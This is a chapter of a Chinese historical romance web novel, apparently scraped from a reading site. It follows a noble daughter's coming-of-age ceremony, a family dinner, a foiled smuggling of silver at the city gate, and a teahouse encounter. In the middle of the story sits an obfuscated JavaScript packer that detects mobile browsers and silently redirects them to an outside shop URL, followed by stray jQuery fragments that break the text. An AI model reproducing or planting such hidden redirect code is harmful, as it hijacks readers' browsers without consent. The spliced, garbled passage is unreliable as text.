这日,是裴文珺的笄礼。
前一天晚上,张氏的父母和兄嫂一家入了京,被安排在朝和院的东面两间厢房住着,西面的厢房现在住着付姨娘云昙。
看见父母和兄嫂艳羡又震惊的神情,张氏心里别提多得意了!
“哦呦!一个女娃娃及笄这么大排场!”张母穿着新做的棉布袄子看花了眼,张父只沉默着不说话。
被张氏遣来照顾张氏父母的琳琅笑说道:“老太太,世家贵族的姑娘都是这个派头,大姑娘这个已算是低调的了。”
张氏兄嫂带着刚满十八的儿子,顿时生出了种不想再回蜀南老家的想法。
原本他们在镇上也算是小富之家,守着一间成衣铺,除去一家温饱之外还有些余钱,不想来了这玉京,进了这侯府,才知真正的富贵滔天是何模样!
笄礼仪程繁复,但裴姝看得津津有味。
今日来观礼的还有黄家老太太和她的倒霉儿媳。
张家嫂子看看裴姝,又看看自家儿子,小声和丈夫说:“你看裴家那女娃和我们秀才般配不?”
张家大兄瞪她一眼:“你休要痴人说梦!让人听见了都要笑话咱不知天高地厚!”
张家嫂子瘪瘪嘴:“说说怎么了……”
黄家老太太在前头坐着,冷眼向后瞧了眼,连她家都只敢求娶裴家二房的姑娘,与侯府搭个拐角亲,这个不知从哪里冒出来的无知妇人倒好,一来就惦记上了侯府嫡女!
裴姝倒是没听到,不过她总觉着有人在看她,一回头便对上张家嫂子意味不明的目光,她微微颔首,扯出个笑。
……
傍晚。
在蒋氏的要求下,一大家子连同张氏父母和兄嫂一家围坐在一桌吃饭。
当年张氏嫁到裴家时,张氏父母挑三拣四,还嫌蒋氏是个寡妇。
今日,蒋氏也算是扬眉吐气,老太太心里畅快,就连看向钟氏和裴姝时,那眼睛都是笑眯眯的,比往日亲切了不少。
“亲家啊,你现在是享儿孙福咯,这玉京城里的好日子多少人都羡慕不来!”张母说这话时有些酸涩,蒋氏被做侯爷的大儿子接到玉京享福了这事儿在他们镇上是人尽皆知的,但知道和亲眼看到那是天差地别的。
蒋氏大笑连连,毫不遮掩,嘴上却说:“现在日子太平,家家都过上好日子了。”
张母讪笑着点头:“是啊,是啊。”
“诶?听说珺儿已经定亲了?今日笄礼上那个黄家老太太就是亲家老太太吧?”张氏嫂嫂出声向张氏问。
张氏原本就是很满意这门婚事的,便笑着应道:“对,亲家老太太对珺儿喜欢得紧,隔三差五便让人给她送些金银首饰来。”
张氏嫂嫂听出话里有炫耀的意思,有些不高兴地说:“我看那老太太很不好相与,我今日同她说话,她正眼都不瞧我一下,惯是个扒高踩低的!”
这话一出,众人脸上的笑僵了僵。
张家大兄忙扯了下妻子的衣袖,笑着出来打圆场,对张氏道:“阿妹,你大嫂见识短,她说的话只当个屁,放了就算了。”
张父咳了声,说:“吃菜,大家吃菜……”
钟氏不插手二房的事,只当无事发生。
裴姝也权当看个热闹,感叹裴文珺这位大舅母可真是“快人快语”!
……
夜半。
福义堂后院,白日里看着和和气气的掌柜此刻神情严肃,命令几个伙计打扮的年轻男人将几只黑色的箱笼分散着装上几辆板车,又在上头混上些别的装了草药的箱笼麻袋。
“今夜在城门当值的是秦校尉,我已提前同他打了招呼,你们只需说是福义堂的伙计,他会放你们出城。”掌柜向其中一人交代。
那人恭敬应道:“是。”
约莫两刻钟后。
伙计们运着货物走至城门,城门守卫瞧见几人,说:“入夜了,出城明日再来。”
一个伙计上前,将提前备好的银两塞给那名守卫:“大人,小的是福义堂的伙计,咱们掌柜是秦校尉的好友,劳烦大人向秦校尉通禀一声。”
不料,守卫直接推开他的手,看都没看他递过来的钱袋子,不耐烦道:“什么秦校尉?没有许可文书,入夜后不能出城!”
伙计闻言,心道不好,仍试探着问:“今夜不是秦校尉当值吗?”
“没有没有,赶紧回去吧!”守卫催促着他离开。
无奈之下,伙计只能招呼着身后的人掉头回去。
城墙之上。
“秦校尉不下去瞧瞧吗?”
“定是个投机取巧想要诓骗守卫蒙混出城的刁民,不用理会。”被唤作秦校尉的男子摆摆手,很是不在意。
背对城墙的男子又言:“刁民若不加以管制,往后怕要惹出大祸。”
秦校尉悬着颗心:“祁大人也太杞人忧天了吧……”
他暗暗往城墙下看了眼,见那几个伙计已晕着货物掉头离开才松了口气。
明监司的人今夜突然来城门守着,他以为是自己收贿银钱私放人出城的事败露了,可明监司的司察使祁璟同他在这里坐了两个时辰,竟什么也没说。
只要福义堂的伙计回去了,那今夜就安全了。
“诶?为什么不让我们回去啊!”
“药材!我的药材!”
城墙底下忽然吵闹起来。
秦校尉忙回身去看,只见两个明监司手握长剑拦住了福义堂伙计,另两个明监司正在检查板车上的货物。
顶上的箱笼和药材都被推下了车,散了一地,底下的箱笼却如何也推不动,还上了锁,其中一个明监司长剑一挥,砍下锁扣,直接掀开了箱笼的顶盖。
纵然夜深,这白花花的一排银锭子也着实晃到了秦校尉的眼睛!
“这这这!”
明监司接着打开其余上锁的箱笼,不仅有银子,还有黄金珠宝,满打满的装了几箱!
“秦校尉,这就是你所谓的刁民?”祁璟已转过身来,朝底下扫了眼。
秦校尉已吓得两腿发软,扶着城墙,颤颤巍巍到:“祁,祁大人!我不知情啊!”
……
第二日。
福义堂的掌柜心神不宁了一上午,外头寒风呼啸,他却出了一头虚汗。
“掌柜的,您没事吧?”药铺里真正的伙计上前问道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137204|145289||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我无碍,你守着铺子,我出去一趟。”
掌柜内心焦灼,扔下话便急急忙忙出了铺子,绕过两条街,进了汀兰坊。
今日。
裴姝将周攸宁叫出来听曲,想打听些事情,那日祁璟找她说了那番话以后,她就心中不安。
不料,遇上江承佑和顾容初。
四人都是相识的,不知为何,江承佑提出坐一桌,皇子殿下发话了,自然无人异议。
如此,裴姝便没话说了,专心听曲。
“宜宁,裴二姑娘平日就是这般沉默寡言吗?”江承佑忽向周攸宁问。
他来时分明瞧见这女娘笑靥如花,一看见他便成了半个哑巴,偶有言语,那声音细得如蚊虫,根本叫人听不清。
若一回两回是巧合,若回回如此,同别人是一副面孔,在他面前又是一副面孔,这倒让他很好奇了,裴二姑娘究竟是刻意避着他?还是想以此来引起他的注意?
周攸宁虽不知道裴姝怎么了,却也笑着替她圆说:“阿姝今日不大舒服。”
江承佑端着茶,又瞧裴姝一眼:“裴二姑娘不舒服还出来听曲,真是好兴致。”
裴姝小声道:“大夫说听曲可舒缓身心,有益病情恢复。”
江承佑:“是吗?哪家医馆的神医?如今治病都不用吃药了,听听曲即可?这样神乎其神的医术不在我大齐广泛传授未免太可惜。”
裴姝:“……”
她在心中暗骂:你自个儿未过门的妻子在这儿坐着,你同别的女子较个什么劲!
“恕臣女失礼,要去后头更衣。”裴姝起身,浅行一礼,提步离开。
汀兰坊供客人如厕的地方修在后院,后院也设了厢房,可供客人留宿。
裴姝知道怎么走,便径直从一楼大堂内的一侧小门入了后院,在廊上坐下,她不想如厕,只是找个由头出来透透气,顺便把话头揭过去。
“裴二姑娘就在此处更衣?”一道熟悉的声音在身后响起。
裴姝回头,便看见顾容初朝她走了过来,看这气势,显然,也不是来如厕的。
“顾姐姐怎么也来了?”
“你可知,三殿下待你格外不同。”顾容初眸光渐冷,看向裴姝的眼神里带着些意味不明的探究。
裴姝直呼冤枉:“我与三殿下见面的次数一只手就数得过来,且回回都非我本愿。”
顾容初听了却更觉闹心:“殿下曾问我,裴二姑娘究竟是个什么样的女子,为何他从旁人口中听到的,同他亲眼见到的,恍若两个人,我本愿相信你一回,可我今日亲见,你故作娇柔,不就是想让惹殿下怜爱?”
娇柔?
裴姝真是欲哭无泪,她沉默寡言,闷声不语,在顾容初眼里竟是故作娇柔?
她正要解释,迎面冲过来一男子,将顾容初撞到了一边,同时从那人身上掉了块铜牌出来,就掉在了裴姝脚边。
裴姝弯腰将铜牌捡起,叫住那人:“你的东西掉了!”
那人猛然回头,瞧见裴姝手上的铜牌后赶紧跑过来夺了回去,神情极为凶狠。
裴姝稍稍瑟缩了下,却见那人一直盯着自己……